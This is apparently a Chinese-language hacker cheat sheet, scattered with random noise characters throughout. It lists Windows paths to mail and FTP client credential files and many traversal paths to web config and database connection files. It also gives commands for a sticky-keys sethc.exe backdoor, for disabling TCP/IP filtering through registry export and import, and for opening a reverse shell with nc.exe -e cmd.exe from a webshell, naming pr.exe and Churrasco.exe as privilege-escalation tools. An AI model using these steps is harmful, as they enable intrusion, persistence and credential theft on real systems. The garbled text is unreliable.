& g8 X1 P1 R/ s6 j4 K. Y# ~5 |c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
5 C* H7 a& ?' k) I0 `C:\Program Files\Foxmal\accounts.cfg
5 A4 ^4 r8 W  yC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
* q+ O3 ?/ X) Y1 z3 R5 R% nc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
2 K- O8 L% k" i+ mc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
" o: J# C$ n& L' v7 v  b; g" n8 YC:\Program Files\FlashFXP\flashfxp.exe
& S9 a$ m0 i. w5 Uc:\Program Files\Oracle\bin\regsvr32.exe
0 i  p8 ?% r( `. X  h) lc:\Program Files\腾讯游戏\QQGAME\readme.txt
& B) f7 W5 Q7 l$ Fc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
  x. |$ @1 b7 a9 j) J2 X- _/ U5 `/ Sc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
6 n7 T3 n9 y9 B+ T( }' g1 }. Q0 ?
3.网站相对路径:
7 B# u+ K: o  Z
/config.php
../../config.php
% _! K# b8 l0 Q../config.php
% ?0 V* O* y% y$ y4 n../../../config.php
* k% @+ N8 G; a6 t# O+ W, r/config.inc.php
* D$ H# r; b4 W  ^) K./config.inc.php
8 {, Z; ]( ?: w; U! x  V" x$ Z../../config.inc.php
../config.inc.php
. d1 M. `4 ^! L) A2 w* g4 f../../../config.inc.php
/conn.php
% K4 c# B9 J: O) \5 x$ x./conn.php
$ R) S, S3 \% y( G6 e../../conn.php
3 P" e9 g, Q/ o6 v../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
$ i5 x+ w4 e3 w, u. I../conn.asp
../../../conn.asp
5 |! Y9 A" Y4 _. a, i  v/config.inc.php
2 f. p8 B8 N+ ]6 Y  F./config.inc.php
1 r0 Z% t8 R2 X7 l& Y: i../../config.inc.php
% x3 ~7 Q* U( K../config.inc.php
6 n1 ^- C" R; e4 l: _../../../config.inc.php
/config/config.php
  q2 k- c3 g% F- V  x../../config/config.php
../config/config.php
# s5 X) d% e/ s( c& o+ w4 E3 e../../../config/config.php
, X, {- \  R" Q8 D2 x+ P1 _4 z/config/config.inc.php
./config/config.inc.php
) y, |9 A8 C4 g( m4 j* E% w) O../../config/config.inc.php
../config/config.inc.php
; o& P2 i7 `" _5 b' I../../../config/config.inc.php
/config/conn.php
; O9 l8 A% k0 X! u, {+ f./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
# i) z' w0 }/ ]- M./config/conn.asp
../../config/conn.asp
../config/conn.asp
) y! z- M$ f, O% s' U+ f../../../config/conn.asp
/config/config.inc.php
- h% c0 T+ _/ c. t) @7 ]./config/config.inc.php
3 S0 f2 A' G  V  U) ~( t! Z../../config/config.inc.php
0 m8 p& \( ]( k1 u) o../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
& ?. ]& U$ x: J: x../data/config.php
' [2 D: s, q- Y../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
' h6 k8 P' m$ \5 _& f../../../data/config.inc.php
4 ^2 T+ P/ _) }, U! g' ^  W/data/conn.php
./data/conn.php
/ n* H" \  O% H% E+ `3 M../../data/conn.php
% X# h0 U# v8 S3 o7 A../data/conn.php
../../../data/conn.php
6 P2 X# q7 b; l/data/conn.asp
./data/conn.asp
2 {- e* Q4 w2 l9 D& P6 G9 v../../data/conn.asp
../data/conn.asp
: a+ p; g# }- n4 C  Y../../../data/conn.asp
1 V7 N- H4 {: R+ w2 }/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
0 a5 ^: Z; `) m8 _../data/config.inc.php
; ?) d6 B" \2 [7 q( ]: ^../../../data/config.inc.php
- z6 i! V  b* x" }% V/include/config.php
  f" v) S" }( [$ @' u. A; ~6 E- Z../../include/config.php
../include/config.php
" F" j$ O1 T- N" }../../../include/config.php
/include/config.inc.php
: \6 a6 E: Z3 a( H9 t" v0 u./include/config.inc.php
9 N$ i+ Z9 o" ~../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
' J7 E, g/ r9 R7 t4 k! x9 L./include/conn.php
../../include/conn.php
../include/conn.php
' l0 g  y+ q4 c$ x6 c$ O9 ~- {../../../include/conn.php
/include/conn.asp
: N% c# x2 s* r9 ?6 K./include/conn.asp
3 e/ i7 z2 _8 |( ]& ?../../include/conn.asp
% }, D% ~: n7 [0 ~../include/conn.asp
../../../include/conn.asp
, j7 X. H+ v: ^+ W, q! a. q/include/config.inc.php
./include/config.inc.php
' {6 Y! r* a* [# D4 Q+ d../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
9 Y8 P5 p# o- x../inc/config.php
../../../inc/config.php
/inc/config.inc.php
; K9 F5 Q! i) ^$ k./inc/config.inc.php
2 X& E% r0 a& x1 ?2 s3 D../../inc/config.inc.php
../inc/config.inc.php
  B  V' P' w. G4 @4 B. e../../../inc/config.inc.php
/inc/conn.php
/ B; Q* u' `! f8 \" ^, i./inc/conn.php
+ j- }+ D- G+ J' r* h0 r4 B4 V../../inc/conn.php
../inc/conn.php
8 v. M6 A! ~/ ]1 z" M4 O* k../../../inc/conn.php
) Y. l5 E6 `2 \+ ~) o+ }6 f4 f. F/inc/conn.asp
) y9 [. V2 C5 `( [' c/ A./inc/conn.asp
; c, f3 A- M& i5 K../../inc/conn.asp
+ q. z; [: @5 ]# @* a% S( j8 m+ v3 `../inc/conn.asp
../../../inc/conn.asp
  d  N/ s6 y/ ?) {/inc/config.inc.php
" o2 B5 _8 i3 \; B' z./inc/config.inc.php
* z3 v2 ?0 g! w: t1 ?0 S../../inc/config.inc.php
/ r1 m* Z. f9 I* X../inc/config.inc.php
) B# ]. j6 x; O$ z% r../../../inc/config.inc.php
/index.php
! R0 M# x0 w* q' ^" p0 t$ C; h./index.php
3 P! C9 l$ \- \' p- H$ f../../index.php
../index.php
! B0 g" m, }8 F' v( X" M8 q5 j../../../index.php
/index.asp
* Q5 t* j* D! K/ g; `./index.asp
../../index.asp
. v: V1 E+ h8 r3 \/ w../index.asp
../../../index.asp
: X( G: D$ |. o6 X( p1 {替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

$ ~! F: w3 L# Z　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
3 E4 I& v( [# [6 M$ p' _
　　del c:\windows\system32\sethc.exe
1 H$ p$ ]7 p% g; e/ V
9 G  ~; V" |7 m$ A& a　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

" E& ^0 V! T( z- G, }6 {, c　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

8 [4 U* u+ k8 I/ D5 x3 D" K1 j" W　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
4 m$ W' W5 j/ o/ j) k, b3 o去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
$ @  X; ^! p# m; N8 R8 rHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
/ f: ?9 L1 r6 U: I9 m3 l" H2 ]HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
  O, g( M! V2 v) |
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

5 [6 I% M8 b! O0 m然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
* ^% D$ [7 J/ J2 \5 q$ S
) o4 ^- g8 |" S; n; c5 d7 T/ Q! `: q. \再将以上三个文件分别用
regedit -s D:\a.reg
# t+ D, t+ t$ l7 R  t6 k4 W, Dregedit -s D:\b.reg
3 d# R& m9 K, L/ P4 H2 cregedit -s D:\c.reg
导入注册表即可

' U7 t- N/ t# ~! g) F4 Y2 m0 ^' Cwebshell提权小技巧
) Z* `7 L6 B! u" ?# a7 w5 F9 Tcmd路径:
( M# t3 O' T3 f. m0 Gc:\windows\temp\cmd.exe
: d# x# [' a7 hnc也在同目录下
2 H# L  }2 w! G6 i" @例如反弹cmdshell：
( Z; N4 a0 j0 R/ t2 g"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
. i, Z+ z. L  U* |1 e通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
: m, w+ G% Y$ e- I9 y: T命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
6 G) s+ y& q8 ?& N+ D% r9 W; W0 Q; C6 P却能成功。。
1 F+ ?- C6 U! b7 ~这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功